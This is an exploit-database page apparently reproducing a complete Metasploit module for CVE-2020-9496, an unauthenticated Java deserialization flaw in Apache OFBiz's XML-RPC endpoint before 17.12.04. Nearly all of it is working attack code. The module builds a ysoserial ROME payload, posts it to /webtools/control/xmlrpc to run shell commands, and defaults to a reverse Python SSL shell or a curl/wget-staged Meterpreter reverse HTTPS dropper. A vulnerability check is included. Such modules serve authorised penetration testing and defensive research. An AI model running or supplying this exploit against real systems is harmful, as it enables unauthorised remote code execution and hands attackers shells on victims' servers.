Apache OFBiz XML-RPC Java Deserialization

2020.08.17
Credit: Alvaro Munoz
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Apache OFBiz XML-RPC Java Deserialization', 'Description' => %q{ This module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for versions prior to 17.12.04. }, 'Author' => [ 'Alvaro Muñoz', # Discovery 'wvu' # Exploit ], 'References' => [ ['CVE', '2020-9496'], ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz'], ['URL', 'https://ofbiz.apache.org/release-notes-17.12.04.html'], ['URL', 'https://issues.apache.org/jira/browse/OFBIZ-11716'] ], 'DisclosureDate' => '2020-07-13', # Vendor release note 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'BadChars' => ' ' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python_ssl' } ], [ 'Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => %i[curl wget], 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => :curl, 'PAYLOAD' => 'linux/x64/meterpreter_reverse_https' } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ Opt::RPORT(8443), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) # XXX: https://github.com/rapid7/metasploit-framework/issues/12963 import_target_defaults end def check # Send an empty serialized object res = send_request_xmlrpc('') unless res return CheckCode::Unknown('Target did not respond to check.') end if res.body.include?('Failed to read result object: null') return CheckCode::Vulnerable('Target can deserialize arbitrary data.') end CheckCode::Safe('Target cannot deserialize arbitrary data.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager(nospace: true) end end def execute_command(cmd, _opts = {}) # XXX: Execute commands in a shell cmd.prepend('sh -c ') vprint_status("Executing command: #{cmd}") res = send_request_xmlrpc( # framework/webapp/lib/rome-0.9.jar Msf::Util::JavaDeserialization.ysoserial_payload('ROME', cmd) ) unless res && res.code == 200 fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}") end print_good("Successfully executed command: #{cmd}") end def send_request_xmlrpc(data) # http://xmlrpc.com/ # https://ws.apache.org/xmlrpc/ send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc'), 'ctype' => 'text/xml', # HACK: Pretty-print XML 'data' => Nokogiri::XML(<<~XML, &:noblanks).to_xml <?xml version="1.0"?> <methodCall> <methodName>#{rand_text_alphanumeric(8..42)}</methodName> <params> <param> <value> <struct> <member> <name>#{rand_text_alphanumeric(8..42)}</name> <value> <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable> </value> </member> </struct> </value> </param> </params> </methodCall> XML ) end end


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